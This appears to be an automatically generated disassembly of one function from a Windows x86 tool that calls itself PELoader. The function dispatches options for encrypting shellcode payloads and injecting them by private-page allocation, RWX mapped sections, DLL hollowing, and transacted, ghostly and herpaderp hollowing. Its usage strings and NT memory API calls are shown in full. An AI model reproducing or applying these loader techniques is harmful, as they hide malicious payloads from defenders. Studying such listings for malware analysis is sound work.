Function at 0x409690
Capabilities:
Allocate or change rwx memory
Map section object
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f6fb
mov eax, dword fs:[0]
push eax
sub esp, 0x500
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
push 0xb0
lea eax, [ebp - 0x4f4]
push 0
push eax
call fcn.004130c0
push ecx
lea ecx, [ebp - 0x4f4]
call fcn.0040a560
mov dword [ebp - 4], 0
mov eax, dword [0x444590]
push 0
push 0
mov ecx, dword [eax + 4]
lea eax, [ebp - 0x4f0]
add ecx, 0x444590
mov dword [ecx + 0x38], eax
call fcn.00402490
mov eax, dword [0x444678]
push 0
push 0
mov ecx, dword [eax + 4]
lea eax, [ebp - 0x4f0]
add ecx, 0x444678
mov dword [ecx + 0x38], eax
call fcn.00402490
mov eax, 0x20
xor edi, edi
push 0x208
mov word [ebp - 0x42c], ax
lea eax, [ebp - 0x21c]
push edi
push eax
call fcn.004130c0
add esp, 0xc
cmp esi, 1
jle 0x40979a
push 7
push str.__check
push dword [ebx + 4]
call fcn.00418650
add esp, 0xc
test eax, eax
jne 0x40979a
push str.cdll
lea edi, [eax + 2]
call fcn.004184b5
add esp, 4
mov esi, eax
lea eax, [ebp - 0x21c]
push 0x208
push eax
push str._APPDATA_PowerPower.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ebx, [ebp - 0x21c]
jmp 0x409880
push str.hagrid
call fcn.00419756
mov esi, eax
add esp, 4
test esi, esi
je 0x40985d
push esi
push ecx
push str.argument:
push 0x444590
call fcn.00404fc0
add esp, 0xc
push eax
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push esi
call fcn.00417c09
mov esi, eax
add esp, 8
test esi, esi
je 0x409d8e
nop
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4097f5
xor eax, eax
sub ecx, edx
add ecx, 1
setb al
neg eax
or eax, ecx
push eax
call fcn.00419761
add esp, 4
mov dword [ebp + edi*4 - 0x43c], eax
nop word [eax + eax]
mov cl, byte [esi]
lea esi, [esi + 1]
mov byte [eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x409820
lea eax, [ebp - 0x42c]
inc edi
push eax
push 0
call fcn.00417c09
mov esi, eax
add esp, 8
test esi, esi
jne 0x4097f0
cmp edi, 2
jl 0x409d8e
mov ebx, dword [ebp - 0x438]
mov esi, dword [ebp - 0x43c]
jmp 0x409880
push str.cdll
mov edi, 2
call fcn.004184b5
add esp, 4
mov esi, eax
push str.Power.dat
call fcn.004184b5
add esp, 4
mov ebx, eax
mov byte [ebp - 0x4fd], 0
mov edx, str.cdll
mov ecx, esi
nop
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4098b0
test al, al
je 0x4098ac
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4098b0
add ecx, 2
add edx, 2
test al, al
jne 0x409890
xor eax, eax
jmp 0x4098b5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4098d2
push str.Classic
push 0x444590
call fcn.00404fc0
add esp, 8
mov byte [ebp - 0x4fd], 1
mov ecx, str.mdll
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409900
test dl, dl
je 0x4098fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409900
add eax, 2
add ecx, 2
test dl, dl
jne 0x4098e0
xor eax, eax
jmp 0x409905
sbb eax, eax
or eax, 1
test eax, eax
je 0x409db7
mov ecx, str.cdll
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409934
test dl, dl
je 0x409930
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409934
add eax, 2
add ecx, 2
test dl, dl
jne 0x409914
xor eax, eax
jmp 0x409939
sbb eax, eax
or eax, 1
test eax, eax
je 0x409db7
mov ecx, 0x43e984
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409968
test dl, dl
je 0x409964
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409968
add eax, 2
add ecx, 2
test dl, dl
jne 0x409948
xor eax, eax
jmp 0x40996d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4099b1
push str.Encrypting_File_n
push 0x444590
call fcn.00404fc0
add esp, 8
cmp edi, 2
jne 0x409996
xor edx, edx
mov ecx, ebx
call fcn.0040cf10
jmp 0x409e14
cmp edi, 3
jne 0x409d8e
mov edx, dword [ebp - 0x434]
mov ecx, ebx
call fcn.0040cf10
jmp 0x409e14
mov ecx, 0x43e99c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4099d8
test dl, dl
je 0x4099d4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4099d8
add eax, 2
add ecx, 2
test dl, dl
jne 0x4099b8
xor eax, eax
jmp 0x4099dd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409b5c
push str.Mapped_Section_n
push 0x444590
call fcn.00404fc0
lea eax, [ebp - 0x4f8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x504]
push eax
lea edx, [ebp - 0x508]
call fcn.00408960
add esp, 0x14
test eax, eax
je 0x409e14
mov eax, dword [ebp - 0x4f8]
push 0
push 0x8000000
push 0x40
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x43c]
push eax
push 0
push 0xe
lea eax, [ebp - 0x4fc]
mov dword [ebp - 0x4fc], 0
push eax
mov dword [ebp - 0x438], 0
call dword [sym.imp.ntdll.dll_NtCreateSection]
push 0x40
push 0
push 2
lea eax, [ebp - 0x440]
mov dword [ebp - 0x428], 0
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x4fc]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push str.Created_RWX_mapped_section_n
push 0x444590
call fcn.00404fc0
add esp, 8
mov dword [ebp - 0x444], 0
lea eax, [ebp - 0x444]
push eax
push 4
push dword [ebp - 0x4f8]
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.___Set_page_to_RW_n
push 0x444590
call fcn.00404fc0
mov eax, dword [ebp - 0x428]
mov esi, dword [ebp - 0x504]
push 0
push 0
cdq
push edx
push eax
push dword [ebp - 0x4f8]
push esi
call fcn.0040d930
add esp, 0x20
test al, al
jne 0x409b1d
push str.____Failed_to_relocate_the_implant__n
push 0x444678
call fcn.00404fc0
add esp, 8
jmp 0x409e14
push dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x428]
mov edx, esi
call fcn.00408b40
add esp, 4
test al, al
je 0x409e14
push 0
push esi
call fcn.0040e120
mov edx, dword [ebp - 0x508]
add esp, 8
mov ecx, dword [ebp - 0x428]
call fcn.00408d70
jmp 0x409e14
mov ecx, str.priv
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409b83
test dl, dl
je 0x409b7f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409b83
add eax, 2
add ecx, 2
test dl, dl
jne 0x409b63
xor eax, eax
jmp 0x409b88
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409c7c
push str.Private_Page_n
push 0x444590
call fcn.00404fc0
lea eax, [ebp - 0x428]
mov ecx, ebx
push eax
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x508]
push eax
lea edx, [ebp - 0x504]
call fcn.00408960
add esp, 0x14
test eax, eax
je 0x409e14
push 4
push 0x3000
lea eax, [ebp - 0x428]
mov dword [ebp - 0x4f8], 0
push eax
push 0
lea eax, [ebp - 0x4f8]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
push str.___Allocated_a_RW_memory_region_n
push 0x444590
call fcn.00404fc0
mov eax, dword [ebp - 0x4f8]
mov esi, dword [ebp - 0x508]
push 0
push 0
cdq
push edx
push eax
push dword [ebp - 0x428]
push esi
call fcn.0040d930
add esp, 0x20
test al, al
je 0x409b06
push dword [ebp - 0x428]
mov ecx, dword [ebp - 0x4f8]
mov edx, esi
call fcn.00408b40
add esp, 4
test al, al
je 0x409e14
push str.___Set_page_to_RX_n
push 0x444590
call fcn.00404fc0
push 0
push esi
call fcn.0040e120
mov edx, dword [ebp - 0x504]
add esp, 0x10
mov ecx, dword [ebp - 0x4f8]
call fcn.00408d70
jmp 0x409e14
mov ecx, str.ghost
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409ca3
test dl, dl
je 0x409c9f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409ca3
add eax, 2
add ecx, 2
test dl, dl
jne 0x409c83
xor eax, eax
jmp 0x409ca8
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409ced
push str.Ghostly_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 0
xor edx, edx
add esp, 8
mov ecx, ebx
cmp edi, 3
jge 0x409cdd
push 0
call fcn.004093e0
jmp 0x409e11
push dword [ebp - 0x434]
call fcn.004093e0
jmp 0x409e11
mov ecx, 0x43e9e4
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409d14
test dl, dl
je 0x409d10
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409d14
add eax, 2
add ecx, 2
test dl, dl
jne 0x409cf4
xor eax, eax
jmp 0x409d19
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409d3d
push str.Transacted_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 1
mov edx, 1
jmp 0x409cc7
mov eax, str.herpaderp
mov cl, byte [esi]
cmp cl, byte [eax]
jne 0x409d62
test cl, cl
je 0x409d5e
mov cl, byte [esi + 1]
cmp cl, byte [eax + 1]
jne 0x409d62
add esi, 2
add eax, 2
test cl, cl
jne 0x409d42
xor eax, eax
jmp 0x409d67
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409d8e
push str.Herpaderply_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 2
mov edx, 2
jmp 0x409cc7
push str.PELoader_nMore_info:_https:__github.com_Hagrid29_PELoader__n
push 0x444590
call fcn.00404fc0
push str.set_hagrid_PELoader_argument__n.PELoader.exe__binaray_argument__nOptions:_nEncryption:_enc__payload___output_file__n_t_payload____the_payload_that_will_be_encrypted_nPrivate_Page:_priv__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nMapped_Page:_map__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nDLL_Hollowing__Load_:_cdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_loaded_by_LoadLibary__default:_auto_search_a_sutiable_DLL__nDLL_Hollowing__Map_:_mdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_mapped__default:_auto_search_a_sutiable_DLL__nTransacted_Hollowing:_txf__encrypted_payload___dummy_file__file_path__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__not_necessarily_exist__that_will_be_transacted__default:_create_random_file__nGhostly_Hollowing:_ghost__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_put_in_delete_pending_state__default:_create_random_file__nHerpaderply_Hollowing:_herpaderp__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_overwritten__default:_create_random_file__n
push 0x444590
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0x14
jmp 0x409e14
push str.DLL_Hollowing_n
push 0x444590
call fcn.00404fc0
push 0x208
lea eax, [ebp - 0x424]
push 0
push eax
call fcn.004130c0
add esp, 0x14
cmp edi, 3
jge 0x409de5
push 0
jmp 0x409e04
push 0x208
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0x434]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x424]
push eax
mov dl, byte [ebp - 0x4fd]
mov ecx, ebx
call fcn.00409170
add esp, 4
mov eax, dword [ebp - 0x4f4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x4f8], eax
lea ecx, [ebp - 0x4f0]
call fcn.0040b350
mov eax, dword [ebp - 0x4f4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x4f8], eax
lea eax, [ebp - 0x48c]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004116a2
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret